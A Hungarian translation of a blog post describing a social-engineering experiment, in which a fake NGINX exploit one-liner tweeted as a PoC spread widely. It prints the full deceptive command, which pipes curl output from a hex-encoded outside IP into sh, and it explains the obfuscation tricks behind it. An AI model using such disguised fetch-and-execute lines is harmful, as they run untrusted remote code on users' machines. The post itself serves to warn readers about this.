A hamis exploit-tal kapcsolatos társadalmi kísérlet sikere az nginx számára

Megjegyzés fordítás.: Szerző: Egy kísérletet szeretett volna végezni az informatikai biztonság iránt érdeklődők körében, az eredeti bejegyzés alapján, amely június 1-jén került közzétételre. Ehhez készített egy hamis exploitet egy felfedezetlen sebezhetőséghez a webkiszolgálón, amelyet a Twitterén tett közzé. Azt feltételezte, hogy azonnal leleplezik a szakértők, akik észreveszik a nyilvánvaló csalást a kódban – ezek a feltételezések azonban nemcsak hogy nem bizonyultak helytállónak… De minden várakozást felülmúltak, sőt a fordítottjait: a bejegyzés óriási támogatásra lelt számos olyan embertől, akik nem ellenőrizték a tartalmát.

TL;DR: semmiképp se használj fájlok csővezetését sh-ban vagy bash-ban. Ez kiváló módja annak, hogy elveszítsd a kontrollt a számítógéped felett.

Szeretnék megosztani veletek egy kis történetet egy vicces PoC-exploitról, amelyet május 31-én készítettek. Ez gyorsan megjelent egy Alisa Esage Sevcsenko, a Zero Day Initiative (ZDI) tagja, arról, hogy nemsokára nyilvánosságra kerül egy sebezhetőség az NGINX-ben, amely RCE-hez (távoli kódvégrehajtás) vezet. Mivel az NGINX sok weboldal alapját képezi, a hírnek bombaként kellett volna visszhangoznia. Azonban az „érzékeny felfedés” folyamatában fellépő késések miatt az esemény részletei nem voltak ismertek – ez a ZDI szokásos eljárása.

Közlemény a sebezhetőség felfedéséről az NGINX-ben

Miután befejeztem egy új elkódolási technika kidolgozását a curl-ben, idéztem az eredeti tweetet és "kiadtam egy működő PoC-t", amely egy sor kódból állt, amely állítólag a felfedezett sebezhetőséget használja. Természetesen ez teljes ostobaság volt. Azt hittem, azonnal lelepleznek, és legjobb esetben csak pár retweetet kapok (na és akkor mi van).

Közlemény hamis exploittal

Ám nem tudtam elképzelni, mi fog ezután történni. A tweetem népszerűsége a tetőfokára hágott. Meglepetés, de jelenleg (június 1-jén 15:00 MSK-kor) még mindig kevesen tudják, hogy ez hamisítvány. Sokan retweetelik anélkül, hogy valóban ellenőriznék (nem is beszélve arról, hogy megcsodálják a gyönyörű ASCII grafikát, amelyet mutat).

Csak nézd meg, milyen szépség!

Bár ezek a ciklusok és színek nagyszerűek, világos, hogy az embereknek a saját gépükön kellett futtatniuk a kódot, hogy láthassák őket. Szerencsére a böngészők hasonlóan működnek, és figyelembe véve, hogy nekem nincsenek jogi problémáim, az általam a weboldalamra rejtett kód csupán echo hívásokat végzett, anélkül, hogy bármilyen kiegészítő kódot akart volna telepíteni vagy futtatni.

Egy kis kitérő: netspooky, dnz, én és a csapat többi srácai Thugcrowd már egy ideje kísérletezünk különböző módjaival a curl parancsok elrejtésének, mert ez szórakoztató... és geek dolog. Netspooky és dnz felfedeztek néhány új módszert, amelyek rendkívül ígéretesnek tűntek számomra. Csatlakoztam a szórakozáshoz, és megpróbáltam IP-tizedes átalakításokat hozzáadni a trükkök sorához. Kiderült, hogy az IP-kat hexadecimális formátumba is lehet konvertálni. Továbbá a curl és a legtöbb más NIX eszköz örömmel „fogyasztja” a hexadecimális IP-okat! Így csupán egy meggyőző és biztonságosan kinéző parancssort kellett létrehozni. Végül erre a verzióra jutottam:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Szociális-elektronikai mérnökség (S.E.E.) — több mint egyszerű phishing

A biztonság és a megszokottság volt a fő eleme ennek a kísérletnek. Gondolom, ezek vezettek a sikeréhez. A parancssor egyértelműen biztonságot sugallt, mert „127.0.0.1”-re hivatkozott (mindenki által ismert localhost). Úgy tartják, hogy a localhost biztonságos, és az ott található adatok soha nem hagyják el a számítógépet.

A megszokottság volt a második kulcsfontosságú S.E.E. komponense a kísérletnek. Mivel a célközönség túlnyomórészt olyan emberekből állt, akik ismerik a számítógépes biztonság alapjait, fontos volt, hogy olyan kódot hozzunk létre, amelynek részei ismerősnek és megszokottnak tűnnek (és ezért biztonságosnak). A régi exploit koncepciók elemeinek kölcsönzése és szokatlan módon való kombinálása meglehetősen sikeresnek bizonyult.

Az alábbiakban egy részletes elemzés található az egy sorba tömörített kódról. Minden, ami ezen a listán szerepel, csupán kozmetikai jellegű, és működéséhez gyakorlatilag semmi nem szükséges.

Mik is azok a ténylegesen szükséges komponensek? Ezek -gsS, -O 0x0238f06a, |sh és maga a webkiszolgáló. A webkiszolgáló nem tartalmazott semmilyen kártékony utasítást, csupán ASCII grafikát továbbított parancsok segítségével echo a szkriptben, amely szerepel index.html. Amikor a felhasználó beírt egy sort |sh a közepén, index.html betöltődött és végrehajtódott. Szerencsére a webkiszolgáló őrzői nem voltak rosszindulatúak.

• ../../../%00 — a könyvtár határainak túllépését ábrázolja;
• ngx_stream_module.so — az NGINX véletlenszerű moduljának útvonala;
• /bin/sh%00<'protocol:TCP' — egyfajta indítást feltételezünk /bin/sh a célgépen, és az eredményt TCP-csatornába irányítjuk;
• -O 0x0238f06a#PLToffset — titkos összetevő, amely kiegészítve #PLToffset, úgy néz ki, mint egy memóriaelmozdulás, valamilyen módon tartalmazva a PLT-ben;
• |sh; — egy másik fontos részlet. A kimenetet sh/bash-be kellett irányítanunk, hogy végrehajthassuk a támadó webkiszolgálóról érkező kódot, amely a következő címről érkezik 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — egy dummy, ahol a netcat hivatkozik /dev/tcp/localhost, hogy minden ismét biztonságosnak tűnjön. Valójában azonban semmit sem csinál, és csak a látvány miatt került a sorba.

Ezzel véget ér az egysoros szkript dekódolása és a "szocio-elektronikus mérnökség" (kreatív phishing) aspektusainak megbeszélése.

A webkiszolgáló konfigurációja és ellenintézkedések

Mivel a követőim többsége informatikai biztonsági szakember/hacker, úgy döntöttem, hogy a webkiszolgálót egy kicsit ellenállóbbá teszem az „érdeklődés” megnyilvánulásaival szemben, csupán azért, hogy a srácoknak legyen mivel foglalkozniuk (és tulajdonképpen jó móka volt beállítani). Nem fogom itt felsorolni az összes csapdát, mivel a kísérlet még mindig folyamatban van, de itt van néhány dolog, amit a szerver csinál:

• Aktívan figyeli a terjesztési kísérleteket bizonyos közösségi hálózatokon, és különféle előnézeti miniatúrákat illeszt be, hogy ösztönözze a felhasználót a linkre kattintásra.
• Átirányítja a Chrome/Mozilla/Safari stb. böngészőket egy Thugcrowd promóciós videóra, ahelyett, hogy bemutatná a shell szkriptet.
• Figyelemmel kíséri a KIBONTOTT behatolási/ brute force támadási jeleket, majd elkezdi átirányítani a kéréseket az NSA szerverekre (haha!).
• Trojan-t és BIOS rootkit-et telepít minden olyan számítógépre, amelyek felhasználói normál böngészővel látogatják meg a hostot (vicc!).

Egy kis rész antiterm

Ebben az esetben az egyetlen célom az Apache néhány lehetőségének megismerése volt — különösen a menő átirányítási szabályoké —, és arra gondoltam: miért is ne?

NGINX exploit (igazi!)

Iratkozzon fel @alisaesage a Twitteren, és kövesse a ZDI lenyűgöző munkáját a valóban létező NGINX sebezhetőségek és exploit lehetőségek kijavításával. Az ő munkájuk mindig lenyűgözött, és hálás vagyok Alisának a türelemért, amelyet a buta tweetem miatt keletkező összes említésért és értesítésért tanúsított. Szerencsére némi hasznot is hozott: segített növelni a figyelmet az NGINX sebezhetőségeire, valamint azokra a problémákra, amelyeket a curl visszaélése okoz.

Forrás: habr.com